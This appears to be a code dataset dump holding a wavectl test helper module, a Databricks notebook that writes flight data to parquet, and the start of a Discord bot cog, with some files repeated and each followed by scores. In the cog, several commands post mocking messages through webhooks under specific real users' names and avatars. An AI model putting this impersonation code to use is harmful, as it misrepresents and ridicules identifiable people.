rsrcType,
expectedRsrcsInDir,
dir,
additionalFileNames=additionalFileNames + readmeFile)
if repo:
self.assertTrue(not repo.is_dirty(
untracked_files=(len(additionalFileNames) == 0)))
self.assertListEqual(sorted(repo.untracked_files),
sorted(additionalFileNames))
logging.info("Completed executePull")
class TestPull(TestPullMutate):
"""A base class to be used from test_pull and test_pullErrors"""
def createPullBranch(self, r, fmt, suffix):
"""Creates pull branch in the given repo as expected from the Wavefront
if it does not exist already"""
minDate = datetime.datetime.fromtimestamp(time.mktime(time.gmtime(0)))
pbn = minDate.strftime(fmt) + suffix
try:
r.heads[pbn]
except IndexError as e:
# If you cannot find the pull branch name, create one so that
# future pulls can checkout from thay branch.
r.heads.master.checkout(b=pbn)
# switch back to the master branch to leave the repo in an
# expected state
r.heads.master.checkout()
class TestMutate(TestPullMutate):
"""A class to be used from test_pull and test_create"""
def compareRsrcsInDirs(
self,
rsrcType,
pushedDir,
pulledDir,
expUnequalRsrcs):
"""Compare the resources in the two directories.
pushedDir and pulledDir should be two distinct directories with resource
files in them. PushedDir is used to write to the wavefront server (using
push or create). PulledDir is used to read from the wavefront server.
The resources mentioned in the expUnequalRsrc should be mismatching
in the pushed and pulledDir"""
rt = resourceTypeFromString(rsrcType)
expUnequalUniqueIds = set([r[rt._uniqueKey] for r in expUnequalRsrcs])
pushedRsrcFiles = BaseWavefrontCommand.getResourceFiles(rt, pushedDir)
pulledRsrcFiles = BaseWavefrontCommand.getResourceFiles(rt, pulledDir)
self.assertEqual(len(pushedRsrcFiles), len(pulledRsrcFiles))
for pushedFile, pulledFile in zip(pushedRsrcFiles, pulledRsrcFiles):
# Open both files and ensure that their string contents are
# the same.
with open(pushedFile) as pushedF:
pushedR = json.load(pushedF)
with open(pulledFile) as pulledF:
pulledR = json.load(pulledF)
compareKeys = self.getCompareKeys(rsrcType)
# If the resource is in the expUnequalRsrcs, then its comparison should
# fail.
if pushedR[rt._uniqueKey] in expUnequalUniqueIds:
self.assertFalse(
self.compareRsrcs(
pushedR, pulledR, compareKeys))
else:
if not self.compareRsrcs(pushedR, pulledR, compareKeys):
logging.debug(
("Unexpected mismatched rsrcs:\n"
"Pushed:\n{}\nPulled:\n{}\n").format(
pushedR, pulledR))
self.assertTrue(not "Unexpected mismatched rsrcs")
def unittestMain():
""" If we need to add wrappers around unittest.main() this function can be
used for that """
unittest.main()
allAlerts = TestAlerts.Alert.getTestAlerts()
allDashboards = TestDashboards.Dashboard.getTestDashboards() | test/util.py |
# Common utils and data for test files
from __future__ import absolute_import
from __future__ import print_function
try:
# Python 2
from cStringIO import StringIO
except ImportError:
from io import StringIO
import __main__
import sys
import os
import re
import datetime
import time
import unittest
import socket
import socketserver # requires future module for python2
import http.server # requires future module for python2
import threading
import json
import tempfile
import shutil
import collections
import copy
import six
import logging
import random
import traceback
import warnings
if six.PY3:
import unittest.mock as mock
else:
import mock
import wavefront_api_client
import wavectl
from wavectl.BaseWavefrontCommand import BaseWavefrontCommand
from wavectl.Mutator import Mutator
import TestAlerts
import git
import TestDashboards
from TestAlerts import Alert
from TestDashboards import Dashboard
wavefrontHostName = "https://try.wavefront.com"
wavefrontApiToken = "<PASSWORD>" # Does not matter just some string.
def initLog():
"""Initialize the logging.
Expected to be called from tests. Test function would like to log something"""
wavectl.Wavectl.initLog(logging.DEBUG)
def checkListEqual(l1, l2):
""" If we cannot call unittest.TestCase.assertListEqual for some reason,
we can use this function to compare lists instead. We may not be getting a nice
summarized error message but this is better than nothing"""
return len(l1) == len(l2) and sorted(l1) == sorted(l2)
def resourceTypeFromString(rsrcType):
"""Get the string representation of a resource an return the python type
instance for that class"""
rv = wavectl.ResourceFactory.ResourceFactory.resourceTypeFromString(
rsrcType)
return rv
class EnvModifier(object):
""" A context manager class used to modify the enviornment."""
def __init__(self, envVar, val):
""" Save the environment variable to change and its desired value """
self.envVar = envVar
self.var = val
self.oldVar = None
def __enter__(self):
""" Modify the given envVar to the new value"""
self.oldVar = os.environ.get(self.envVar)
if self.var is not None:
os.environ[self.envVar] = self.var
else:
try:
del os.environ[self.envVar]
except KeyError:
pass
def __exit__(self, type, value, traceback):
""" Restore the env var to the old value"""
if self.oldVar is None:
""" Env var did not exist before. Delete it again"""
try:
del os.environ[self.envVar]
except KeyError:
pass
else:
os.environ[self.envVar] = self.oldVar
return False
class TempDir(object):
""" A class that creates a temp directory at context creation time and
removes the temp dir at exit of the context."""
def __init__(self, retain=False):
# For debuggability, if retain is True, do not delete the temp dir
self.retain = retain
def __enter__(self):
self.d = tempfile.mkdtemp()
logging.debug("Using temporary directory: {}".format(self.d))
return self
def dir(self):
return self.d
def __exit__(self, type, value, traceback):
if self.retain:
msg = "TempDir: {0}".format(self.d)
logging.debug(msg)
print(msg)
else:
shutil.rmtree(self.d, ignore_errors=True)
return False
class DummyContextManager(object):
""" A context manager that does not do anything. Used to implement
conditional context managers like here:
https://stackoverflow.com/a/27806978/5771861"""
def __enter__(self):
pass
def __exit__(self, type, value, traceback):
return False
class CwdChanger(object):
""" A class that changes to the given directory at context manager creation
time. At the context exit it restores the original working dir"""
def __init__(self, desiredDir):
self.desiredDir = desiredDir
def __enter__(self):
self.originalDir = os.getcwd()
os.chdir(self.desiredDir)
def __exit__(self, type, value, traceback):
os.chdir(self.originalDir)
return False
class StdoutCapture(object):
""" A class that can be used in with statements to overwrite the std out
in its context.
This object can be used together with "with" statements For example:
with util.StdoutCapture() as capturedOut:
print "Capture this line"
assert capturedOut.str().strip()=="Capture this line".strip()
"""
def __init__(self, ignore=False):
# Ignore make this capture a no-op. For easy debugging.
self.ignore = ignore
self.strIo = StringIO()
def __enter__(self):
""" Overwrite the sys.strout with an internally saved StringIO object.
This way we can capture the print statement of the function under
test and verity them later on. """
if not self.ignore:
self.origStdout = sys.stdout
sys.stdout = self.strIo
return self
def __exit__(self, type, value, traceback):
"""Restore the sys.stdout to its original value"""
if not self.ignore:
sys.stdout = self.origStdout
return False
def str(self):
"""Return the captures sys.out in a string"""
return self.strIo.getvalue()
class StdinRedirect(object):
"""A class that can redirect the given StringIO to the stdin of the program.
This type is expected to be used in context managers. A already populated
stream (e.g: StringIo) type should be passed at construction time"""
def __init__(self, newStdin):
newStdin.seek(0)
self.newStdin = newStdin
def __enter__(self):
self.origStdin = sys.stdin
sys.stdin = self.newStdin
return self
def __exit__(self, type, value, traceback):
sys.stdin = self.origStdin
return False
class SummaryLineProcessor(object):
"""A class that contains functions to process summary lines. Used by
craete and show tests"""
@staticmethod
def expectedAlertSummaryLineRegex(a, ignoreStatus=False):
""" Given an alert, return a regular expression that should match that
alert's summary line
if ignoreStatus is passed, the status field value is made optional
"""
# During write created field changes. It is a timestamp. So have a
# numerical regex instead.
rv = r"\d+\s*" \
+ re.escape(a["name"]) + r"\s*(NO_DATA)?\s*" \
+ (r"(" if ignoreStatus else r"") \
+ r"(NO_DATA)?\s*".join(a["status"]) + r"\s*(NO_DATA)?\s*" \
+ (r")?" if ignoreStatus else "") \
+ re.escape(a["severity"])
return rv
@staticmethod
def expectedDashboardSummaryLineRegex(d):
""" Given a dashboard, return a regular expression that should match that
dashboard's summary line"""
rv = re.escape(d.get("url", "")) + r"\s*" \
+ re.escape(d.get("name", "")) + r"\s*" \
+ re.escape(d.get("description", ""))
return rv
@staticmethod
def compareExpectedActualLineByLine(test, expectedOutRegex, actualOut):
""" The expectedOutRegex and the actualOut are given in a list form
where each entry in actualOut is a line. The correponding entry (same
index) in expectedOutRegex is a reqular expression for the same line to
match. This function compares checks that every line matches its
regular expression."""
test.assertEqual(len(expectedOutRegex), len(actualOut))
regexes = [re.compile(e) for e in expectedOutRegex]
for a in actualOut:
# Each line in actualOut should match with at least one regex in
# expectedOut.
# TODO: We could be more strict about the matching. We could purge
# the regular expression once a line has been matched against it.
compRes = [regex.match(a) for regex in regexes]
if not any(compRes):
logging.debug(
"Rsrc line did not match any regular expressions:\n" +
"Rsrc:\n{}\nRegularExpressions:\n{}".format(
str(a),
"\n".join(expectedOutRegex)))
test.assertTrue(not "Could not find summary line in regexes")
def mockRsrcType(rsrcType, rsrcs, deletedRsrcs):
"""Given a rsrcType, mock its getFunction.
With this we can mock what the API server would return back to the
wavectl client. For example the Alert.getFunction returns the
wavefront_api_client.api_client.search_alert_entities function
that reaches out to wavefront server. With mocking the Alert.getFunction,
we return our custom function that returns the rsrcs without reaching out
to the api server"""
def wavefrontSearchHttpResponse(items):
"""Return an HttpResponse object that looks like what is returned by
searchApi.search_alert/dashboard_entities functions"""
class MockHttpResponse(object):
def read(*args, **kwargs):
data = {
"response": {
"moreItems": False,
"items": sorted(items, key=lambda x: x["id"]),
}
}
return json.dumps(data)
return MockHttpResponse()
def mockSearchRsrcEntities(**kwargs):
body = kwargs["body"]
ql = body["query"]
tags = [q["value"] for q in ql]
filteredRsrcs = [r for r in rsrcs if all(
[(t in r["tags"]["customerTags"]) for t in tags])]
return wavefrontSearchHttpResponse(filteredRsrcs)
def mockSearchRsrcDeletedEntities(**kwargs):
return wavefrontSearchHttpResponse(deletedRsrcs)
def wavefrontSingletonHttpResponse(rsrc):
"""Return an HttpResponse object that looks like what is returned by
alert/dashabordApi.create/update_alert/dashboard functions"""
class MockHttpResponse(object):
def read(*args, **kwargs):
data = {
"response": rsrc
}
return json.dumps(data)
return MockHttpResponse()
def mockSingleton(*args, **kwargs):
body = kwargs["body"]
return wavefrontSingletonHttpResponse(body)
m = mock.MagicMock()
m.return_value = mockSearchRsrcEntities
rsrcType.getFunction = m
m = mock.MagicMock()
m.return_value = mockSearchRsrcDeletedEntities
rsrcType.getDeletedFunction = m
m = mock.MagicMock()
m.return_value = mockSingleton
rsrcType.createFunction = m
rsrcType.updateFunction = m
class Test(unittest.TestCase):
@staticmethod
def mockAllRsrcTypes():
logging.debug("Starting Test class")
testAlerts = TestAlerts.Alert.getTestAlerts()
testDashboards = TestDashboards.Dashboard.getTestDashboards()
mockRsrcType(wavectl.Alert.Alert, testAlerts, [])
mockRsrcType(wavectl.Dashboard.Dashboard, testDashboards, [])
@staticmethod
def _setUp():
# In python3, the urllib3 library may raise these socket resource
# warnings. They should be benign and an artifact of a performance
# optimization of reusing the sockets.
# https://github.com/mementoweb/py-memento-client/issues/6#issuecomment-196381413
if six.PY3:
warnings.filterwarnings(
"ignore",
message="unclosed <ssl.SSLSocket",
category=ResourceWarning)
def setUp(self):
"""A function that is called before every test function execution"""
Test._setUp()
logging.debug("Starting test {}".format(self._testMethodName))
Test.mockAllRsrcTypes()
def tearDown(self):
logging.debug("Finishing test {}".format(self._testMethodName))
def getCompareKeys(self, rsrcType):
"""Return the keys used to compare two different resource instances
of the same time. For example compare two alert states. Various individual
fields of resources are not always stable. Some of them are arbitrary or
sometimes randomly change. For a stable comparison operation, we only
select a subset of the keys."""
# TODO: This comparison of subset of keys logic could move to a __eq__
# function in the Alert Dashboard time itself.
if rsrcType == "alert":
compareKeys = [
"additionalInformation",
"condition",
"displayExpression",
"minutes",
"name",
"severity",
]
elif rsrcType == "dashboard":
compareKeys = ["name", "parameters", "description"]
pass
else:
assert not "Unexpected rsrcType"
return compareKeys
def compareRsrcs(self, r1, r2, compareKeys):
""" Return that the compareKeys in r1 and r2 are equal to each other"""
compK = set(compareKeys)
visitedKeys = 0
for k1, v1 in r1.items():
if k1 in compK:
visitedKeys = visitedKeys + 1
v2 = r2.get(k1, "")
if v1 != v2:
return False
# If a key was missing in both the r1 and r2, they are considered equal too.
# Look at keys that are missing in both and consider them as visited
for k in compK:
foundIn1 = r1.get(k)
foundIn2 = r2.get(k)
if foundIn1 is None and foundIn2 is None:
visitedKeys = visitedKeys + 1
# If we are returning true make sure that we have really compared all
# keys.
assert(visitedKeys == len(compK)
and "Not all compareKeys were considered")
return True
class TestPullMutate(Test):
""" Common functions used in Pull and Push test suites"""
def repoInit(self, d):
"""Initialize a git repo in the given dir and return its reference"""
r = git.Repo.init(d)
r.git.config("user.email", "<EMAIL>")
return r
def addReadmeFileToRepo(self, r):
""" Adds a README.md file to the given repo"""
d = r.working_tree_dir
n = "README.md"
p = os.path.join(d, n)
with open(p, "w") as f:
f.write("This is a repo to manage wavefront resources.")
r.index.add([p])
r.index.commit("Initial commit with the README.md file",skip_hooks=True)
def addNewFileToRepo(self, r, n, subdir=""):
"""Adds a new file named "n" to the index in the repo. By default the
file is localted at the root dir. If the relative subdir is given,
the file is placed in that subdir. Does not commit the addition"""
d = r.working_tree_dir
p = os.path.join(d, subdir, n)
# Create the file
with open(p, "w") as f:
pass
r.index.add([p])
def existingRepoDirNotGit(self, cmd, rsrcType, rsrcs):
""" The repoDir is an existing directory however it is not a source
controlled directory. The pull resource command should raise an exception"""
with TempDir() as td:
d = td.dir()
args = [cmd, d, "--inGit", rsrcType]
wc = wavectl.Wavectl(
designForTestArgv=args,
designForTestRsrcs=rsrcs)
self.assertRaises(
git.exc.InvalidGitRepositoryError,
wc.runCmd)
def repoIndexIsDirtyInUsedDir(self, cmd, rsrcType, rsrcs, error):
"""In this testcase, the repo has staged changes that have not been
committed yet in the same dir as the pull/push dir. The command should
not allow this to happen. We expect the initial branch to be without any
outstanding modifications"""
with TempDir() as td:
d = td.dir()
r = self.repoInit(d)
self.addReadmeFileToRepo(r)
self.addNewFileToRepo(r, "newFile")
args = [cmd, d, "--inGit", rsrcType]
wc = wavectl.Wavectl(
designForTestArgv=args,
designForTestRsrcs=rsrcs)
self.assertRaisesRegexp(
error,
(r"The path at .+ is dirty. "
r"Please commit your outstanding changes .*"),
wc.runCmd)
def repoWorkingTreeIsDirtyInUsedDir(self, cmd, rsrcType, rsrcs, error):
""" Git repo has local modifications to tracked files that have not
been staged yet in the same dir as the pull/push dir. The working tree is
dirty. The command should not allow a pull or a push to execute in this
state"""
with TempDir() as td:
d = td.dir()
r = self.repoInit(d)
self.addReadmeFileToRepo(r)
n = "newFile"
self.addNewFileToRepo(r, n)
r.index.commit("Initial commit of {} file".format(n),skip_hooks=True)
# After committing the following changes will be local modification that
# are not staged yet.
fn = os.path.join(d, n)
with open(fn, "r+") as f:
f.write("Some new modification")
args = [cmd, d, "--inGit", rsrcType]
wc = wavectl.Wavectl(
designForTestArgv=args,
designForTestRsrcs=rsrcs)
self.assertRaisesRegexp(
error,
(r"The path at .+ is dirty. "
r"Please commit your outstanding changes .*"),
wc.runCmd)
def checkRsrcFilesInDir(
self,
rsrcType,
rsrcs,
dir,
additionalFileNames=[]):
"""Check that the files for the given resources exist in the given dir"""
# Clean up the given dir.
d = os.path.realpath(dir)
rt = resourceTypeFromString(rsrcType)
expFiles = sorted(additionalFileNames +
[str(r[rt._uniqueKey]) +
rt.fileExtension() for r in rsrcs])
# Get the basenames of the files in repo and discard directories
actFiles = sorted([os.path.basename(f) for f in os.listdir(d)
if os.path.isfile(os.path.join(d, f))])
self.assertListEqual(expFiles, actFiles)
def checkFilesInDir(self, rsrcType, rsrcs, dir, additionalFileNames=[],
ignoredKeys=[]):
"""Compares the resources in the given rsrcs list with the resource files
in the given directory.
Read the json from the files in the dir, compare their state with the
given expected rsrcs. Also ensure that the given addiitonalFileNames
also exist in the dir.
If ignored keys are given, the comparison of the resource with the file
contents ignores those keys. """
d = os.path.realpath(dir)
rt = resourceTypeFromString(rsrcType)
# contains the full paths of files
actFilePaths = sorted(
[p for p in [os.path.join(d, f) for f in os.listdir(d)]
if os.path.isfile(p)])
actRsrcs = []
actAdditionalFilesNames = []
for p in actFilePaths:
if p.endswith(rt.fileExtension()):
# This is a resource file. Alerts or Dashboards
with open(p) as f:
actR = json.load(f)
actRsrcs.append(actR)
else:
# This is an extra file.
actAdditionalFilesNames.append(os.path.basename(p))
if len(actRsrcs) != len(rsrcs):
logging.debug(
("actRsrcs ({}) and rsrc ({}) are not the same length\n"
"actRsrcs:\n{}\nrsrcs:\n{}").format(
len(actRsrcs), len(rsrcs), actRsrcs, rsrcs))
self.assertTrue(not "actRsrc and rsrcs length mismatch")
compareKeys = self.getCompareKeys(rsrcType)
# TODO: We could have sorted these two resource lists by "name" and then
# did a simpler comparison.
for r1 in rsrcs:
foundMatchingRsrc = any(
[self.compareRsrcs(r1, r2, compareKeys) for r2 in actRsrcs])
if not foundMatchingRsrc:
logging.info(
("The could not find the equivalent of resource: \n"
"{}\n").format(
r1, r2))
self.assertTrue(foundMatchingRsrc)
self.assertListEqual(sorted(actAdditionalFilesNames),
sorted(additionalFileNames))
def executePull(
self,
rsrcType,
dir,
repo,
expectedRsrcsInDir,
pullAdditionalParams=[],
rsrcAdditionalParams=[],
additionalFileNames=[]):
""" Execute a pull operation while some api functions are mocked."""
logging.info("Starting executePull")
args = ["pull",
dir,
"--wavefrontHost", wavefrontHostName,
"--apiToken", wavefrontApiToken] \
+ pullAdditionalParams \
+ [rsrcType] \
+ rsrcAdditionalParams
wc = wavectl.Wavectl(designForTestArgv=args)
wc.runCmd()
try:
git.Repo(dir)
except git.exc.InvalidGitRepositoryError as e:
readmeFile = []
else:
readmeFile = ["README.md"]
self.checkFilesInDir(
rsrcType,
expectedRsrcsInDir,
dir,
additionalFileNames=additionalFileNames + readmeFile)
if repo:
self.assertTrue(not repo.is_dirty(
untracked_files=(len(additionalFileNames) == 0)))
self.assertListEqual(sorted(repo.untracked_files),
sorted(additionalFileNames))
logging.info("Completed executePull")
class TestPull(TestPullMutate):
"""A base class to be used from test_pull and test_pullErrors"""
def createPullBranch(self, r, fmt, suffix):
"""Creates pull branch in the given repo as expected from the Wavefront
if it does not exist already"""
minDate = datetime.datetime.fromtimestamp(time.mktime(time.gmtime(0)))
pbn = minDate.strftime(fmt) + suffix
try:
r.heads[pbn]
except IndexError as e:
# If you cannot find the pull branch name, create one so that
# future pulls can checkout from thay branch.
r.heads.master.checkout(b=pbn)
# switch back to the master branch to leave the repo in an
# expected state
r.heads.master.checkout()
class TestMutate(TestPullMutate):
"""A class to be used from test_pull and test_create"""
def compareRsrcsInDirs(
self,
rsrcType,
pushedDir,
pulledDir,
expUnequalRsrcs):
"""Compare the resources in the two directories.
pushedDir and pulledDir should be two distinct directories with resource
files in them. PushedDir is used to write to the wavefront server (using
push or create). PulledDir is used to read from the wavefront server.
The resources mentioned in the expUnequalRsrc should be mismatching
in the pushed and pulledDir"""
rt = resourceTypeFromString(rsrcType)
expUnequalUniqueIds = set([r[rt._uniqueKey] for r in expUnequalRsrcs])
pushedRsrcFiles = BaseWavefrontCommand.getResourceFiles(rt, pushedDir)
pulledRsrcFiles = BaseWavefrontCommand.getResourceFiles(rt, pulledDir)
self.assertEqual(len(pushedRsrcFiles), len(pulledRsrcFiles))
for pushedFile, pulledFile in zip(pushedRsrcFiles, pulledRsrcFiles):
# Open both files and ensure that their string contents are
# the same.
with open(pushedFile) as pushedF:
pushedR = json.load(pushedF)
with open(pulledFile) as pulledF:
pulledR = json.load(pulledF)
compareKeys = self.getCompareKeys(rsrcType)
# If the resource is in the expUnequalRsrcs, then its comparison should
# fail.
if pushedR[rt._uniqueKey] in expUnequalUniqueIds:
self.assertFalse(
self.compareRsrcs(
pushedR, pulledR, compareKeys))
else:
if not self.compareRsrcs(pushedR, pulledR, compareKeys):
logging.debug(
("Unexpected mismatched rsrcs:\n"
"Pushed:\n{}\nPulled:\n{}\n").format(
pushedR, pulledR))
self.assertTrue(not "Unexpected mismatched rsrcs")
def unittestMain():
""" If we need to add wrappers around unittest.main() this function can be
used for that """
unittest.main()
allAlerts = TestAlerts.Alert.getTestAlerts()
allDashboards = TestDashboards.Dashboard.getTestDashboards() | 0.584627 | 0.216156 |
# COMMAND ----------
# MAGIC %run ./adb_1_functions
# COMMAND ----------
# MAGIC %run ./adb_3_ingest_to_df
# COMMAND ----------
# MAGIC %md
# MAGIC ### Partitions and repartitioning
# COMMAND ----------
num_partitions = 16
# COMMAND ----------
print(df_flights_full.rdd.getNumPartitions())
# COMMAND ----------
df2 = df_flights_full.repartition(num_partitions, ["OriginAirportID","DestAirportID"])
# COMMAND ----------
# How many partitions were created due to our partitioning expression
print(df2.rdd.getNumPartitions())
# COMMAND ----------
# MAGIC %md
# MAGIC ### Parquet
# COMMAND ----------
parquet_path = "/mnt/hack/parquet/sample/dat202/"
# COMMAND ----------
path_coalesce = parquet_path + "coalesce/"
dbutils.fs.rm(path_coalesce, True)
# COMMAND ----------
# coalesce(numPartitions: Int): DataFrame - Returns a new DataFrame that has exactly numPartitions partitions
df_flights_full\
.coalesce(num_partitions)\
.write\
.parquet(path_coalesce)
# COMMAND ----------
CleanupSparkJobFiles(path_coalesce)
# COMMAND ----------
path_repartition = parquet_path + "repartition/"
dbutils.fs.rm(path_repartition, True)
# COMMAND ----------
# Repartition and write
df_flights_full\
.repartition(num_partitions, ["OriginAirportID","DestAirportID"])\
.write\
.parquet(path_repartition)
# COMMAND ----------
CleanupSparkJobFiles(path_repartition)
# COMMAND ----------
path_repartition_partitionby = parquet_path + "repartition-partitionby/"
dbutils.fs.rm(path_repartition_partitionby, True)
# COMMAND ----------
# Repartition and write. Here, we are partitioning the output (write.partitionBy) which will create a folder per value in the partition field
# https://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.DataFrame.repartition
df_flights_full\
.repartition(num_partitions, "Carrier")\
.write\
.partitionBy("Carrier")\
.parquet(path_repartition_partitionby)
# COMMAND ----------
CleanupSparkJobFiles(path_repartition_partitionby)
# COMMAND ---------- | flight-data/adb_5_write_to_parquet.py |
# COMMAND ----------
# MAGIC %run ./adb_1_functions
# COMMAND ----------
# MAGIC %run ./adb_3_ingest_to_df
# COMMAND ----------
# MAGIC %md
# MAGIC ### Partitions and repartitioning
# COMMAND ----------
num_partitions = 16
# COMMAND ----------
print(df_flights_full.rdd.getNumPartitions())
# COMMAND ----------
df2 = df_flights_full.repartition(num_partitions, ["OriginAirportID","DestAirportID"])
# COMMAND ----------
# How many partitions were created due to our partitioning expression
print(df2.rdd.getNumPartitions())
# COMMAND ----------
# MAGIC %md
# MAGIC ### Parquet
# COMMAND ----------
parquet_path = "/mnt/hack/parquet/sample/dat202/"
# COMMAND ----------
path_coalesce = parquet_path + "coalesce/"
dbutils.fs.rm(path_coalesce, True)
# COMMAND ----------
# coalesce(numPartitions: Int): DataFrame - Returns a new DataFrame that has exactly numPartitions partitions
df_flights_full\
.coalesce(num_partitions)\
.write\
.parquet(path_coalesce)
# COMMAND ----------
CleanupSparkJobFiles(path_coalesce)
# COMMAND ----------
path_repartition = parquet_path + "repartition/"
dbutils.fs.rm(path_repartition, True)
# COMMAND ----------
# Repartition and write
df_flights_full\
.repartition(num_partitions, ["OriginAirportID","DestAirportID"])\
.write\
.parquet(path_repartition)
# COMMAND ----------
CleanupSparkJobFiles(path_repartition)
# COMMAND ----------
path_repartition_partitionby = parquet_path + "repartition-partitionby/"
dbutils.fs.rm(path_repartition_partitionby, True)
# COMMAND ----------
# Repartition and write. Here, we are partitioning the output (write.partitionBy) which will create a folder per value in the partition field
# https://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.DataFrame.repartition
df_flights_full\
.repartition(num_partitions, "Carrier")\
.write\
.partitionBy("Carrier")\
.parquet(path_repartition_partitionby)
# COMMAND ----------
CleanupSparkJobFiles(path_repartition_partitionby)
# COMMAND ---------- | 0.455683 | 0.3415 |
import json
import aiohttp
import discord
from discord.ext import commands
from modules.utils import checks
from modules.utils.weather import data_fetch, data_return, url_meteo
with open('./config/config.json', 'r') as cjson:
config = json.load(cjson)
OWNER = config["owner_id"]
class General(commands.Cog):
conf = {}
def __init__(self, bot):
self.bot = bot
self.config = bot.config
@commands.command()
@commands.guild_only()
async def ping(self, ctx):
"""
Pong !
"""
await ctx.send("Pong !!")
@commands.command()
@commands.guild_only()
async def pong(self, ctx):
"""
Ping !
"""
await ctx.send("Ping !!")
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def jade(self, ctx):
await ctx.message.delete()
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Jade")
else:
webhook = webhooks[0]
user_id = 292362017006944256
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="On voit le résultat...", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def jade2(self, ctx):
await ctx.message.delete()
await ctx.send("https://i.imgur.com/03SkULK.jpg?1")
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def missette(self, ctx):
await ctx.message.delete()
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Missette")
else:
webhook = webhooks[0]
user_id = 511135694207451146
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="Petit faible...", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def yume(self, ctx):
await ctx.message.delete()
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Yume")
else:
webhook = webhooks[0]
user_id = 282233191916634113
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="Je suis un petit faible", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def yume2(self, ctx):
await ctx.message.delete()
await ctx.send("https://i.imgur.com/FOFjRCB.jpg")
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Le petit prince")
else:
webhook = webhooks[0]
user_id = 282233191916634113
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="Slurp Slurp Slurp...", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command(aliases=['gmto', 'gweather'])
@commands.guild_only()
async def gmeteo(self, ctx, city: str):
"""
Full Weather report
"""
result = url_meteo(city)
fetch = data_fetch(result)
data = data_return(fetch)
condition = f"{data['main']}, {data['description']}"
embed = discord.Embed(
title="Meteo",
color=discord.Colour.dark_red()
)
embed.set_footer(text="Powered by https://openweathermap.org")
embed.add_field(name='🌍 **Location**', value=f"{data['city']}, {data['country']}")
embed.add_field(name="\N{CLOUD} **Condition**", value=condition)
embed.add_field(name="\N{THERMOMETER} **Temperature**", value=data['temp'])
embed.add_field(name='Temperature min', value='{}°C'.format(
data['temp_min']))
embed.add_field(name='Temperature max', value='{}°C'.format(
data['temp_max']))
embed.add_field(name='\N{FACE WITH COLD SWEAT} **Humidity**', value="{}%".format(
data['humidity']))
embed.add_field(name='Pressure', value="{}hPa".format(
data['pressure']))
embed.add_field(name='\N{SUNRISE OVER MOUNTAINS} **Sunrise (UTC)**', value=data['sunrise'])
embed.add_field(name='\N{SUNSET OVER BUILDINGS} **Sunset (UTC)**', value=data['sunset'])
embed.add_field(
name='\N{DASH SYMBOL} **Wind Speed**', value="{}m/s".format(data['wind']))
embed.add_field(name='Cloudiness', value="{}%".format(
data['cloudiness']))
await ctx.send(embed=embed)
@commands.command(aliases=["mto", "weather"])
@commands.guild_only()
async def meteo(self, ctx, city: str):
"""
Simple Weather report
"""
result = url_meteo(city)
fetch = data_fetch(result)
data = data_return(fetch)
condition = f"{data['main']}, {data['description']}"
embed = discord.Embed(
title="Meteo",
color=discord.Colour.dark_red()
)
embed.set_footer(text="Powered by https://openweathermap.org")
embed.add_field(name='🌍 **Location**', value=f"{data['city']}, {data['country']}")
embed.add_field(name="\N{CLOUD} **Condition**", value=condition)
embed.add_field(name='\N{FACE WITH COLD SWEAT} **Humidity**', value="{}%".format(
data['humidity']))
embed.add_field(name="\N{THERMOMETER} **Temperature**", value=data['temp'])
embed.add_field(
name='\N{DASH SYMBOL} **Wind Speed**', value="{}m/s".format(data['wind']))
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
async def jump(self, ctx, id: int, channel: discord.TextChannel = None):
"""
Create a direct link to a message
"""
if channel is None:
channel = ctx.message.channel
try:
msg = await channel.fetch_message(id)
except discord.NotFound:
return await ctx.send(
"We can't find the message")
except discord.HTTPException:
return await ctx.send("We can't find the message.")
await ctx.send('Url :{}'.format(msg.jump_url))
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(embed_links=True)
async def pokemon(self, ctx, name_or_id):
"""Show pokemon info"""
# Sources : https://github.com/Jintaku/Jintaku-Cogs-V3/blob/master/pokemon/pokemon.py
try:
headers = {"content-type": "application/json"}
# Queries pokeapi for Name, ID and evolution_chain
async with aiohttp.ClientSession() as session:
async with session.get("https://pokeapi.co/api/v2/pokemon-species/" + name_or_id.lower(),
headers=headers) as r1:
response1 = await r1.json()
except:
return await ctx.send("No pokemon found")
# Handles response1
if response1.get("detail") == "Not found.":
await ctx.send("No pokemon found")
else:
evolution_url = response1["evolution_chain"]["url"]
# Queries pokeapi for Height, Weight, Sprite
async with aiohttp.ClientSession() as session:
async with session.get("https://pokeapi.co/api/v2/pokemon/" + name_or_id.lower(),
headers=headers) as r2:
response2 = await r2.json()
# Queries pokeapi for Evolutions
async with aiohttp.ClientSession() as session:
async with session.get(str(evolution_url), headers=headers) as r3:
response3 = await r3.json()
# Selects english description for embed
description = ""
for i in range(0, len(response1["flavor_text_entries"])):
if response1["flavor_text_entries"][i]["language"]["name"] == "en":
description = response1["flavor_text_entries"][i]["flavor_text"]
break
# Conversion for embed
height = str(response2["height"] / 10.0) + "m"
weight = str(response2["weight"] / 10.0) + "kg"
# Deals with evolution_chain for presentation in embed
evolution = response3["chain"]["evolves_to"]
evolutions = [response3["chain"]["species"]["name"].capitalize()]
while len(evolution) > 0:
evolutions.append(evolution[0]["species"]["name"].capitalize())
evolution = evolution[0]["evolves_to"]
if len(evolutions) == 1:
evolution_string = "No evolutions"
else:
evolution_string = " -> ".join(evolutions)
# Build Embed
embed = discord.Embed()
embed.title = response1["name"].capitalize()
embed.description = description
embed.set_thumbnail(url=response2["sprites"]["front_default"])
